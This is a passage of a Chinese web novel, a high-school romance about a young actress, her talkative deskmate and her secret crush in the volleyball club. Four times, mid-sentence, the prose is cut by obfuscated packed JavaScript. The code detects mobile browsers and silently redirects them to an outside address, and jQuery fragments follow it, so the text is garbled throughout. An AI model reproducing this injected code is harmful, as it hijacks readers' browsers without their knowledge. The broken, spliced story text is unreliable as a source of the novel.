余音还想着自己把人家校服弄脏的事情。虽然程简说了没关系,但余音却忍不住烦恼要怎么才能回馈这份小小的恩情。 “你家住哪儿?也坐地铁回家吗?” 林荫道,程简倒退着脚步走,路灯把他的笑脸照得更亮,被树叶分割的光斑像星星,跃进他的眼睛里。他笑着,眼里的星星明明灭灭。 “我家住东都月景。”余音告诉他。 “好巧,我们家地铁只隔一个站,你早上一般坐地铁来学校吗?” “不一定。”余音看见校门口不远处有熟悉的车牌号,她冲车子的方向小跑几步,又停住脚步,回头对程简说,“我爸爸来接我了,拜拜。” 程简也朝她身后亮着红灯的车看去,挥手笑道:“同桌,明天见。” 余音点了下头,转身跑开。 回到车内的一瞬间,因为熟悉而心安的余音便把书包放在座椅的角落,又把书包充当枕头,头歪在“枕头”上开始闭目养神。 前排的余朝渊见她倒头就睡,还是在红灯亮起时转头看她,发现她额头多出一块异样的红色,惊讶道:“哎呀,乖乖怎么受伤了?这么大一个包,痛不痛啊,擦药没有?” 多一事不如少一事,向来报喜不报忧的余音立刻截住爸爸絮絮叨叨的话头,“我捡笔的时候不小心撞到桌角了。” “那今天上学第一天,感觉怎么样啊?” 余音的嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477974|201593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯了扯:“Amazing——” 见余朝渊对她的校园生活很有兴趣,她又说,“我在学校交了几个新朋友,她们很好,有个女孩子叫江雀,她特别特别好。我同桌也很好,还帮我去校医室拿冰袋和药......” 她很久没有在家人面前主动提起过朋友,所以在她叽叽喳喳念起大家时,透过镜子看见余朝渊露出满意又欣慰的微笑,她才松了一口气。 目送女孩的背影以及闪烁的车尾灯彻底消失,站在原地的程简跳起来摘了片头顶的树叶。 他不住在心里感慨:“明明就没有大家说得脾气不好,脾气很好啊。住最贵的别墅,车是迈巴赫62,这家里得多有钱。长得这么漂亮,还这么聪明,那么难的题目两分钟就写完了。神赐同桌——” * 清晨,窗台的鸟雀声比闹钟先响起,阳光透过窗帏,一派安静。 余音揉着眼皮,久违地对去上学这件事没有那么反感,还有点期待。 铃声响起的前半分钟,她在走进教室,刚拉开椅子坐下,比她踩点还要精准的程简和铃声一起出现。 “早上好啊,大明星!” 程简单手拽着书包带,笑容灿烂,音量不小。 感受到前排同学的视线,余音硬着头皮问候:“早上好。” “这校服穿在你身上好像确实比穿在我身上好看。对了,你今早是坐地铁来的吗,还是你家人送你来的......” 程简坐下的同时也打开了话匣子,丝毫没觉察到他的追问惹得余音手里的课本越举越高。 直到她的整张脸都被书挡住,把大家好奇的目光全都挡住。 余音问他:“程简,你吃早餐了吗?” “没呢,我早上都是踩点到,一般这节早读下课才去食堂吃。怎么了,你也没吃早餐吗?那我等会儿带你去,还是要我帮你带?不过去晚了就没什么好吃的了,我一般都是跑着去,跑着去才能抢到。我看女生都喜欢吃三明治这些,我下课给你抢一个回来。” 幸好余音有耐心,终于等到人说完,她才有机会把抽屉里的面包和牛奶拿出来摆在他面前,轻声细语道:“昨天你帮我拿校服,我还不小心弄脏了你的校服,所以我给你带了早餐,谢谢你。” “都说了不用那么客气。不过看在你已经想好回报我的份上,我就收下了。” 面对这份“谢礼”,程简没有拒绝,大大方方地收下放进抽屉里。 他把脑袋凑近她,两侧嘴角勾出弧度,“你今天能不能再弄脏我的校服,刚好我明天也不想跑去食堂和人抢早餐了。” 没想到他得寸进尺,余音难为情地往过道的方向挪胳膊。 这下程简笑得更肆意,眼睛弯成月牙的形状,肩膀都抖起来,笑她:“逗你玩呢。大家都是朋友,你不用这么客气。总之,谢谢你的早餐了。” 他的笑声已经吸引来其他同学的关注,余音盯着书,低低地“嗯”了声。 以为“早餐”这个话题就此翻篇,等下课铃响时,已经站在教室门口的男生冲程简招手:“程简,走不走啊,晚了可就没吃的了!” 而坐在余音旁边的男生惬意地拧开牛奶瓶盖,举起面包,大声应道:“我今天领到大明星给粉丝发的福利了,你自己去吧!” 声音传遍整个教室,而余音要承受的是所有人惊诧的目光。 她手扶着额头,将许多双眼睛与自己隔开,偏头瞥了眼旁边慢条斯理享用早餐的程简,无力地,重重地叹了声气。 5. 喜欢她 课间休息,班长拿出一张表,让大家报名社团课。 余音正纳闷,旁边的程简先一步从男生手里把表抢来,摊开铺平在她的课桌上,解释说:“这个社团课是在每周一、五下午的最后一节课,可以自由选择。” 见程简手里捏着的笔杆一直停留在运动类的项目,余音问他:“哪个社团人比较少?” “你喜欢安静的?”程简把纸翻到反面,“茶艺社团人最少,也就二十多个人吧。” “这么多。”余音小声嘀咕。 现在虽然对校园生活抱有期待,但毕竟才来学校几天,余音扪心自问自己无法融入一个陌生的小团体,而且她对这些社团课都没多大兴趣。 余音倏忽眨了眨眼,把表推回在程简的桌子上,“可以不参加吗?” “没有一个你感兴趣的?”程简满脸困惑,见余音不像开玩笑,过了两秒后才平静道,“班长就没报社团课,他一直都待在教室写作业。” “那我也留在教室。”余音眼睛一亮,没再多看一眼那张备受同学喜欢的社团填报表。 只是程简还揪住这个话题不放,一直缠着她问理由,还搬出了许多毫无关联的事情作说辞。 “你真的不参加?江雀一直都是打羽毛球,不然你和她一起。你一个人在教室多无聊啊,作业在学校都写完的话,你回家都做什么呀?你和大家一起呗,你要是觉得不好意思,就站球场外面看也行......” 叽叽喳喳,没完没了。难道学主持的话都这么多这么密? 余音被干扰得对试卷上的题目毫无思绪,索性停下来,盯着他:“可是我比较喜欢一个人待着。” 她的语气略微强硬,程简怔愣了一秒,抬手挠了几下后脑勺,“我是觉得......上社团课能交朋友,你也能更好地熟悉环境。” “我留在教室也可以和班长成为朋友。” 两人齐齐望向教室中央,即使下课也坐姿挺直,奋笔疾书的班长。 恰好此时班长回过头,视线碰撞时,余音冲人微微一笑,更加坚定道:“我觉得班长挺好的。” 以为社团课这个事情不会再提起,谁知道程简在下课时把她不参加社团的事情告诉江雀。 江雀也意外,扶着余音的肩膀摇晃了两下,“可是社团课不用待在教室,真的很好玩,你不考虑考虑吗?” “我还是喜欢一个人待在教室,安静。”余音都快把头摇成拨浪鼓。 连喻槐安这种寡言少语的学霸都选择了羽毛球,而余音怎样都不为所动,江雀也只能放弃劝说。 中午要担任食堂打餐的角色,等到四个人吃饭的时候已经很晚了。 托辛勤劳动的福,余音第一次把碗里的饭吃干净,因而获得了旁边程简似是夸奖的话:“哟,大明星今天光盘行动了。” 吃完饭的江雀放下手里的勺子,手心一摊,“谁带纸了,分一分。” 余音听了把手伸进口袋里,只是对比喻槐安,她的动作还是略慢半拍。 江雀从一包纸巾里拿出一张,随意分成四份,给余音分了张最大的,自己用其次的,剩下两条分给程简和喻槐安,笑嘻嘻:“一起用,感情才不会散。” 程简嘟嘟哝哝地表示不满。但余音觉得很新鲜,从前没有朋友与她分着纸用。 等到下午的社团课,余音早早就把作业完成了,闲在座位上想着怎么消磨时间。 班长见她干坐着,主动走向她,“那个,我看你好像很无聊,刚好我作业也写完了,不然我带你逛逛学校?” 班长一脸正气,举止又温顺亲和,怎么看都是心地善良的人。 余音欣然答应他的提议,起身看向窗外,边走边说:“我听程简说学校很大,有很多场馆。” 班长听她这么说,以为她是想先看球场,兴致极高地把她带到人声嘈杂的篮球馆,像导游一样事无巨细地介绍:“我们班很多男生都喜欢打篮球,所以光我们班的男生就占据了一个篮球场......” 室外球场一个挨着一个,余音顺着班长手指的方向确实看见了不少眼熟的面孔,其中也包括满场跑的程简。 余音想要找羽毛球场,她想看江雀打羽毛球。可要到对面的羽毛球场就必须穿过篮球场,她只好尽量篮球架远一些,走得更快一些。 班长跟在备受瞩目的余音身后念念有词:“你在找人吗?” 余音光顾着寻找江雀的背影,完全没注意天边正有一颗球朝自己飞来。 鬓角的长发倏忽间向后飘起,一双白色球鞋险些要踩上她的白鞋,过分近的距离让余音后退半步,仰起头。 面前额角挂汗,喘着粗气的程简,满目仓惶。 虽然没搞清楚什么情况,余音准备和人道谢,篮球架下同样穿着校服的男生忽然朝她们这边大喊:“程简,跑得挺快啊!我就说你今天怎么总想着投三分球——” 男生们勾肩搭背笑成一团,更有甚者开始起哄程简是故意“英雄救美”,周围离得近的女生也向面面相觑的两人投以异样的眼神。 青春期,大家总爱开这种玩笑,随便一个动作一句话都能把同学间的互帮互助联系到情爱方面。 这样的调侃,余音习以为常,很快就恢复平常表情。 只是程简抬起胳膊,大力把球朝男生抛了回去,急红了脸:“别瞎说。” 就在程简即将转身跑开时,余音还是礼貌地说了声谢谢。 程简又停下脚步,扭过头,眼睛不住地在余音和班长身上流转:“你们不是在教室写作业吗?” 班长说:“我带她来熟悉一下校园。” 程简了然地冲两人点了下头,回到篮球架下,继续在球场上奔跑。 周遭的议论声并没有因为程简走开而停止,余音无奈放弃先前的计划,调转脚步说:“要不我们去别的地方逛逛吧。” 这次班长走在她前面:“你别在意,其实他们都没什么恶意,就是开开玩笑,其实大家是想和你拉近距离......” 余音“嗯”了声,可班长还在喋喋不休地为刚才的“英雄救美”辩解:“你身份比较特殊......” 就像小时候玩过的老鹰抓小鸡一样,班长把同学当作鸡崽子护在自己的身后,而他本人则充当老母鸡。 这样一来,余音更觉得班长非可靠。 和班长走到室内球场时,班长依旧乐此不疲地介绍:“这里虽然没有室外球场大,但因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477975|201593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为是给排球社团专门建的,和室外相比会更安静些。” 在看清场内格网下跑动的人影前,余音一直表现得大方沉稳。 直到站在最角落的少年猛然迈步朝最边缘处跑去,少年扑在地板上,不费吹灰之力,迅速地将一颗即将落地的球再次挥起在空中。 “好球——” 场馆内掌声持续几秒。 少年弯着眉眼从地板上站起,尽管他戴在额头的运动发带已经歪扭,膝盖处的皮肤也沾上灰尘。 可少年的笑容还是那么温柔谦逊。 相比一年前,余音只远远看着,还是不可遏制地心跳加速,眼睛亮了起来。 “我可以加入排球社团吗?” 班长并不知晓她心中所想,全当她是看了一场简短的比赛就感受到排球的魅力,才会反悔自己的决定。 “填报表已经交了,没办法修改......” “真的不能再改了吗?没有别的办法了吗?” 正准备摇头的班长对上她充满期待而闪动的眼眸,嘴巴张了张,还是改口道:“如果你想加入的话,我可以帮你问问他们的社长。但得他们缺人才行,不缺人就只能等下个学期了。” 终于等到大家中场休息,班长一路小跑到对面的休息区。 余音看见班长和人交谈,继而转身看向自己,更高个儿的男生也看向自己,接着两个人都笑了。 虽然听不见他们在说什么,但余音预感自己很快就能和角落整理发带的少年再见面了。 班长回到她身边时,表情欣喜:“我问了一下,他们说可以。但有一个问题,排球社这学期没有高一的学生参加,如果你要加入的话估计每周只有一个时间,周五的下午。” 等班长说完,余音急切回应:“当然可以。谢谢班长。班长,你真好。” 从排球场一路走回教室,余音的脚步轻快又雀跃,她跟在班长身后问了许多问题。 一直到晚间的上课铃响起时,她激动的心情才慢慢平复下来。可思绪越平和,她就越情不自禁地微笑。 程简撑着下巴的手肘慢慢滑到桌子边缘,状似不经意道:“下午那球没砸到你吧?” “你不是帮我挡住了么。”余音本能抬手摸了下还有些肿的额头,“谢谢你。” “顺手的事。” 程简努了努嘴,余光不住瞟向旁边未曾抬眸的女孩,“诶,你来学校两天了,有人给你塞情书吗?” 这个话题显然调动了余音的积极性。 她放下笔,小声说:“你怎么知道?” 她第一次发现是在中午吃完饭的时候,摆在桌面上的课本被夹进一张小纸条。纸条里虽然写的是“想要和她做朋友”,但附着在联系方式末尾的爱心却暴露了真实想法。 收到过很多类似的字条或信件,这些承载着一厢情愿的物件:字写得好看且真诚的会被收进书房的角落。字迹潦草且态度强势的就只会出现在垃圾桶里,哪怕是打着“交朋友”的名义。 她现在有朋友了,不需要更多的朋友。 而且她有喜欢的人了,自然没办法再接受这些好意。 最重要的是,她今天下午重新遇见自己喜欢的人。 6. 喜欢她 中考的前两天,余音时隔一年回到学校。她从老师手里接过准考证,没有和任何人告别。 靖南市依然没有放晴,雨点重重砸在地上,四溅的水花很快把裤腿打湿。 余音把准考证收回包里,身后突然传来一道温柔清润的声音,与这沉闷的夏天格格不入。 “不用在意他们说的话。” “有一句话是这么说的,乞丐并不会妒忌百万富翁,但是他会妒忌比自己收入更高的乞丐。把他们当作乞丐就好,你的精力很宝贵,别浪费。” “明天考试加油。我得走了,再见!” 她手里的伞撑开到一半,还没来得及说些什么,站在身边满脸笑容的男生被人叫走。 “谭应钦,快走吧!雨下大了。” 男生的伙伴从楼梯上跑来,一把拽住他的手臂。他们在翻涌的雨中奔跑。 谭应钦。 谭应钦。 谭应钦。 ...... 余音心里反复念着。 她撑着伞,快步走到校门口的荣誉栏前,硬纸板上还贴着上一届靖南市中考状元的照片。 照片里的男生眼睛明亮,嘴角只弯起一点点弧度。他像泉水一样温和纯净的嗓音似乎还在她的耳畔回响,充满沉稳而温柔的力量。 她伸手撕下那张小一寸的照片,胶水黏住指腹的触感让她心头一紧。像小偷,她把照片收进口袋,心脏还扑通扑通地跳着。 自那天之后她就再没见过男生,在网上查了很多关于男生的资料,才知道他去岐江中学念高中,不在靖南市了。她没机会再见到他了。 她总是隔着冰冷的屏幕,通过那些一笔带过的新息知道他又拿了什么奖项。 他和她也有相似点,比如与他人合照时的笑容总是腼腆的。 进入靖南高中后,余音原以为一切都可以重新开始。可没想到,周围还是有不少出现在噩梦里的熟悉面孔。他们总是看着她,讲着和她有关的悄悄话。 她依旧形单影只,装作不在意,默默安慰自己:人总是不被理解的,孤独是人生的必修课。 可她真的喜欢孤独么?不喜欢的。 她喜欢江雀和程简叽叽喳喳,闹个没停的时刻,她从不觉得烦腻,因为她们总会时不时将友善的目光投向她,诚挚地邀请她加入话题,不做旁观者。 就像现在,程简从班长口中得知她改变心意要加入排球社,震惊之余拉上江雀一起盘问她。 “你不是说喜欢一个人待着吗?”程简环住双手,微压的眉头似是在控诉她的出尔反尔。 而余音呢,只听得见这句话里的中间词:“喜欢一个人”。她的眼前不自觉浮现那张温煦的笑脸,原来在照片之外,他也有肆意张扬的一面。 “你之前打排球吗?”江雀一脸认真。 余音摇摇头:“突然感兴趣,想试试。” 程简放下环在胸前的手,倒豆子似的一个劲儿地告诉她打排球的注意事项。去哪里买装备、要怎么挑选最适合自己的装备,怎么样才能不受伤...... 等江雀走后,程简疑神疑鬼地靠近她:“怎么你和班长都要去排球社,打排球可以另外加分吗?” “班长也去?”余音倒是刚知道,粲然一笑,“那刚好我们有个照应。” “打球要什么照应啊。你想有人陪,我也能去,江雀也能去。” 程简大大咧咧,余光瞥见她抿着嘴角不说话,这才把话题转移开,手掌越过两张桌子的缝隙处,“你作业是不是都写完了?给我抄抄。” “不给。”余音拍掉程简来抽试卷的手背。 前排的女生闻声回头,抢在程简前面开口:“余音,你写完了可不可以教教我,我就差最后一道题了。” 很少有人会主动向她求助,而且女生一张圆脸框着双又圆又亮的眼睛,格外可爱。 余音笑了下,接过女生手里的笔,在女生转身拿草稿纸时,快速翻了下女生的试卷。除了最后一道题,试卷上几乎没有空白,满满当当,全是正确数字和解题步骤。 余音不禁感慨:“你全都写完了,很厉害。” 女生先是愣了一下,谦虚道:“应该是你更厉害才对。昨天晚上的数学试卷,我看你是满分。” 话题又兜回余音身上,她没再继续恭维,认真给女生讲题。 可当她写完最后一个数字时,女生迟迟没反应,便问她:“是我讲错了吗?” “不好意思,我刚刚走神了,你能不能再讲一遍。” 余音把解题思路又复述一遍,再抬头时,墙上的钟表已经指向下课时间。 她低头收书包,旁边坐姿懒散的程简冷不丁开口:“你怎么不教教我?” “你没有问我啊。” 余音被他有些无理取闹的做派难住。难道她要在他不主动的情况下自荐成为老师?要是被讨厌她的人知道,又该说她好为人师,狂妄自大了。 程简不慌不忙地把作业本摊开,摆出虚心请教的姿态:“我也不会,你教教我呗,大明星。” “可是现在已经放学了。” “那你给我个你的号码,我回家问你行不行?” 余音犹豫两秒,还是把自己的号码用铅笔写在了草稿纸上,叮嘱他用完就擦掉。 程简拿到一串数字后,满意地点点头,提醒她:“车不能在校门口停太久,要贴罚单的。你快回家吧,下楼跑慢点。” * 夜深人静时,程简把好友请求发送过去后等了足足半小时都没有回音。 第二天去学校他竟然没好意思问,想她应是忘记了。等到放学才拐弯抹角,状似不经心地提起,以为她当时点头是记住了,可晚上依旧没有收到验证通过的信息。 第三天,他起了个大早,发现还是没有新好友的提醒。 之后的几天,程简总偷偷留意余音的态度,想他是不是哪里惹她不高兴了,还是又开了哪些不好的玩笑。闲着的时候隔两三分钟就把手机拿出来看一看,刷新好几遍。 英语口语课上,轮到学生抽签复演电影里的经典片段。余音运气好,抽中女主角的台词。 恰好这次的电影是《简爱》,又恰好是电影女主角坚定自己与男主角虽身份悬殊,但人格平等的经典片段。 从前百般不愿参与的男生们变得激动起来,他们殷切的神情定是在暗暗祈祷自己能抽到男主角的台词。程简不由也期待起来。很可惜,他只有当观众的份。 他坐在讲台下,目光一刻都没离开过“女主角”。 余音说英语的流利程度像教科书要求的那样,是标准的伦敦腔。 尤其当她说出,“asweare......Iamafreehumanbeingwithanindependentwill”的时候,他一度怀疑电影的原声忘记关,越听越幻想自己在做听力测试。 她从掌声中回到座位。 课堂最后五分钟随意交流时间,他下了好大决心,问她:“YourEnglishname?” “Echo.” “good.”他脱口而出。 空气有一瞬的安静,还有一点尴尬。余音顺势反问他的英文名,他回答:“Rocky.” 余音平静的眸光一下就亮了起来:“That''stheRockyfrom1976,right?” 程简不明白她在说什么,什么1976,连他爹妈都没出生的年纪,怎么就和他扯上关系了。 她眼里的光又熄灭了,平静无波。 程简张了张口,想到什么便说什么:“PeoplealwayscallmeLoki,youknow,likeinTheAvengers.” 余音怔了一下。她问1976年的电影《洛奇》,他说复仇者联盟的洛基。牛头不对马嘴。随即敷衍地笑了笑。 程简应是看出这笑容只是出于礼貌。下课铃响时,他对着她起身的背影念道:“CanIgetyournumber?” 周围太过吵闹,余音不可能听见。他又望着她渐渐离去的背影,叹气道:“不然我把我的电话给你吧......” 没有! 过去了整整一周都没有新的好友消息。 哪怕是一块石头砸进死水潭也稍微有点动静吧。 可余音没有反应,一点都没有。她不会是写错了?还是她觉得这样很好玩? 在社团课开始前,待同学都陆续走出教室,程简立刻伸长了腿,横挡住余音的脚步。 “怎么了?”她眨着眼,一脸无辜。 程简这下又不好意思了,挠着下巴,纠结了两秒还是把自己发送了十几次的好友请求给她看,支吾道:“......你都不通过,我怎么问你问题啊?” 余音扫了眼他举起的手机,一副恍然大悟的模样,这才拿出手机。她把手机里好友请求的列表给他看:“你没有备注名字,我不知道哪一个是你。” 各种各样的头像,各种各样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477976|201593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好友验证消息,占据了一整个屏幕。 不! 程简看着她的手指在屏幕上滑动两三秒,看不到头似的。 那些一闪而过却又无比熟悉的头像,不乏程简认识的人,有班长,有上次球场无意把球抛向她的男生,还有带头起哄自己和她的男生,以及球队的男生...... 程简眸光一暗,腹诽道:一个个在学校看见她都绕道走的,说什么怕出名,其实私底下都想方设法地要她的联系方式。装的很!一群装货! 程简见她划拉半天也没个结果,干脆一把拿过她的手机,一番行云流水的操作后把手机还给她,得意道:“从教室到排球场要五分钟,你再不走就迟到了。” 站在面前的少女快速收好手机,跑出教室门口后突然又折回来。 “程简,谢谢你啊。” 巴掌大的脸从门框后探出,束起长发犹如剪裁得体的黑色绸缎,精致小巧的五官盛满笑意,尤其是她眼角那一小点浅痣,轻盈灵动。 无人的教室里,程简站在原地,唇角扬起弧度。 唉。也不知道上帝到底给她开了多少扇门窗,给她建造的房子应该比宫殿更富丽堂皇......否则世界上怎么会有这么完美的人。 * 加入排球社,余音的心愿却没有实现。 她站在场内看了好几圈都没有找到想见的人,先前紧张和雀跃的心情终究归于平静。 怕意图太明显,没人瞧出端倪。她只能趁着休息时走到社长身边,故作随口问道:“怎么感觉今天没有上周人多。” 比她高出半个头的男生撩起衣角擦了擦下巴的汗:“有几个学长是高二的,他们今天好像有考试还是比赛来着,所以没来。” “那他们下周来吗?” “没考试的话就会来。”男生长吐一口气,转头又关心她,“你累不累,累的话就休息。排球社没有那么多规矩,你想干什么都行。” “那我可以回教室吗?”她脱口而出。 想见的人不在,余音也没什么动力和大家一起玩排球,与其说玩球,不如说是大家垫球几下,就凑到她身边净问些和排球无关的事情。 男生表情怔愣,余音意识到自己的话让人很没面子,急忙开口:“我看那天有个学长扑在地上救了一个球,很高难度的动作。” “那招叫鱼跃,需要很强的核心力量和反应力。整个排球社只有谭应钦把鱼跃做得最标准。” 从别人的口中听到心中暗想的名字,她欣喜之余还夹杂着说不清的胜负欲。 那么优秀的人,学校里喜欢他的女生肯定不会少。尽管我对于排球才刚入门,但如果我也会鱼跃的招式,如果我做得比他还要漂亮,那我们就会有话题可聊,至少是别人无法轻易介入的话题。 余音想着,心头的小小火苗越烧越旺,她问社长:“我什么时候可以学鱼跃?” 社长像是听见了一个多好笑的笑话,扭头看着她,笑眼里藏着些不屑与傲慢:“很多人为了耍帅非得学鱼跃,但是真正打比赛的时候都是练防守。而且女生不适合做鱼跃,大部分女生做得都不标准,还容易受伤。你这么瘦,能学会翻滚就很行了。” 一个接球的招式而已,哪怕男女生理结构不同,也没必要一口否定。而且,她都没试过,怎么就知道她不行。 碍于要给对方面子,余音没把心中所想表现出来,只撇了撇嘴,拿出手机故作有电话才走开。 离下课还有几分钟,余音走出场馆后就没再回去,也没回教室,找了个凉亭坐下看了许多排球教学视频,看得最多的还是鱼跃招式。 上课铃响时,余音才怏怏不乐地回到教室,刚坐下没多久,旁边的程简似乎看出了她的低落。 “你有没有吃晚饭?” “我晚上一般不吃东西。”余音摇头,把黑板上明天要交的试卷翻开。 程简不由分说按住她的试卷,口吻轻松:“听说你的社长不教你鱼跃,你要是想学,我可以教你。” “你不是打篮球的吗?” “都是球,有什么难的。”程简好不得意地扬起下巴,“你的社长之前打排球都没赢过我呢。” 余音半信半疑。 最后程简宣称自己并不是免费教学,作为交换,她必须每天教他不会的题目。 这听起来很像校园偶像剧里男女主互生好感的开端。 余音拒绝了。 她不喜欢程简这样过分阳光开朗的男孩,就像她不喜欢强光照的艳阳天。 7. 喜欢她 虽然对程简只是普通同学再多一点朋友间的好感,但程简发来的消息,余音都是有问必答。 【大明星,数学试卷的选择第八题,怎么解?】 【大明星,最后一道大题你会不会?】 【大明星,明天英语交哪张试卷?】 为了不耽误练习垫球,余音直接把自己的试卷拍照发过去,之后就设置了静音。 她在房间里,对着墙壁反反复复练了两个小时。两只手腕红肿一片,手指抖个不停才肯罢休。 原本计划上一个月课,休三个月假进组拍戏。但手机里弹出许久没有联系的导演的消息: 【你的角色有人演了。】 简简单单几个字,计划全泡汤了。 尽管这个角色在试戏前就听说制片人有意向演员,余音还是有点不甘心。其实她也可以带资进组,但这样做的话,既不公平又会被人诟病。 她坐在地毯上,手里抱着排球,仰头长叹一口气。 其实在学校也挺好的,她的朋友们热情善良勇敢大方,现在的同学对她也都礼貌客气。新加入了排球社,还有机会见到喜欢的人...... 余音暗暗想着,双颊微微发热。 她心里攒着劲儿,每晚练习排球的时间更长了,就为了在下周的社团课上大展身手。 但现实却远不及理想一半美好。 社团课开始前,余音早早就换好了衣服,坐在长椅上,戴着护膝,余光却紧盯从大门口进出的每一个人。 一直到铃声响后都没有见到那张温润面容,余音悄声绕到社长身后,试探开口:“今天还是只有我们几个人吗?” “嗯。他们要准备竞赛,估计要下个月才能来打球。” 听社长这么说,余音跃跃欲试的信心顿时所剩无几,面对空中迎面而来的排球也懒得举高手去拦。 她弯腰躲过,冲人抱歉一笑:“不好意思,我有点不舒服。” 只是她刚坐下旁观一会儿,程简就大摇大摆的出现了。 看程简径直朝这边走,余音莫名心感不妙。她移开目光,装作没看见,起身往更衣室的方向。却还是被三两步跑来的人堵住去路。 “装备这么齐全,怎么只当观众?”程简站在她身前,不等她回答,冲网下的社长挥手,大声叫嚷道,“带我一个呗!刚好这还有一个,够人。” “她不舒服,休息着呢。”社长摆摆手,同样高声回应。 “你哪儿不舒服啊?去校医室看看。”程简上下左右地打量她,非要把她看出个好歹似的。 余音想自己休息了大半节课,之后要是一直以身体不舒服为理由拒绝活动,那很快就会被人发现她加入排球社另有目的。 尤其大家都被程简一惊一乍的动静吸引,怔回过头齐刷刷盯着她。余音暗暗咬牙,强作微笑道:“没事,我休息好了。去打球吧。” 原以为向率先发起邀请的程简会和她成为队友,没想到他和社长都站在了隔网的另一面。 余音扫视对面平均身高不低于一米八的男生们,作为新手,心里没底。 程简拿着排球,本来就长得高,跳起来的时候脑袋更是超出隔网一大截。球从他手里飞出的一刻,余音就有预感到这球是冲自己来的。 好在班长的站位在她前面,她有充分的理由接不到这球。 等这颗球直直砸在地板,班长果真不可思议地回头看向她:“你怎么不接?” 余音也瞪大了眼,半张着嘴:“啊,我以为你会拦的。” 两个人都没有经过多久的专业训练就被拉入场,接不住球也正常。 只是程简似乎看出她故意失手的小心思,之后他的每一次发球和传球,都有意把球往她的方向抛。 躲得过一次两次,总有躲不过的时候。眼看那颗球直直朝自己飞来,而队友此时都在网下,这时候只有她离球最近,再没接住说不定八成要让人笑话。 余音的膝盖“咚”的一声就跪在了地上,又往球即将落地的方向滑了一些距离,相叠的手腕稳稳接住排球,向上一抛,顺利让球回到空中。 好在她戴了护膝,否则这记利落的下跪足够痛上好几天。 她在实战中第一次体会到滑跪接球的方便,之后的好几个球她都是以同样的方式接球。 在勉强接住程简抛来的最后一个球后,余音吃力地从地板上站起,站在原地不断深呼吸。 “你要学会在场上跑起来,总跪着接球很伤膝盖的。”程简丢下手里的球,把手里拧开的水瓶递到她面前。 余音不领情,气鼓鼓地瞪了他一眼,咬牙切齿道:“你这么有劲,应该去节目里拿冰箱。” “也不是没考虑过,主要是我家不缺冰箱。怎么,你家缺吗?行,那我明天就报名。” 程简一点不狡辩,反而笑道,“没想到你才练几天就能接住我的球,还能看出我的战术。你挺有天赋的。加油练,以后把我打得气喘吁吁才好。” 余音是一拳打在棉花上。抬眸对上他懒散玩笑的目光,一点也不奇怪他的人际关系怎样优异。 他总能把话题引向轻松愉快的氛围,不会通过刻意贬低自己,也能把对方捧得高高的。这是社交里利人利己的好办法。 余音没力气再和他贫嘴,放下叉腰的手往走向场馆大门。程简跟在她身后。 室外不知何时飘起了冷雨,大门打开的瞬间,余音不自觉打了个冷颤。 她转身往反方向走,程简还跟在后面问她:“你不回教室吗?” “换衣服。”她有意冷落他。 在更衣室脱下护膝,余音才发现隐隐发麻的膝盖早已青紫一片。 她不得不承认程简在运动方面确实天赋过人,篮球,排球,网球,羽毛球他都能技术过人。虽然她并没有看过他打其他球,但也会留意大家对他的夸奖。 她是最后一个走出更衣室的,以为程简早就离开了,谁知他还站在两人不久前分开的位置。 他是在等她? 余音边走边纳闷,只见他变魔术似的从身后拿出一把长柄伞,眼睛弯成月牙状,略有邀功的嫌疑:“外面还在下雨,幸好我借来一把伞。” 雨势比刚才更大了些,余音没有为了面子而拒绝他,极为扭捏却故作淡定地与他并肩走在伞下。 被雨水浇灌的泥土泛出清新的味道,身心仿佛得到浸润,无比放松。余音不自觉放慢脚步。 可抬眸瞥见程简手里的伞不断往自己的方向倾斜,她又倍感压力,随即加快了步伐。 雨水打落的香樟果落在伞面上,声音清脆又生涩。 “你饿不饿?” “不饿。” “你们当明星的是不是都不吃晚饭,但是一直不吃晚饭你是怎么长得这么高的?” “基因?” “但是你刚才跪来跪去的那么大运动量,晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477977|201593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上真的不会饿吗?” 过分的冷落只会让相伴而行的气氛变得更尴尬。 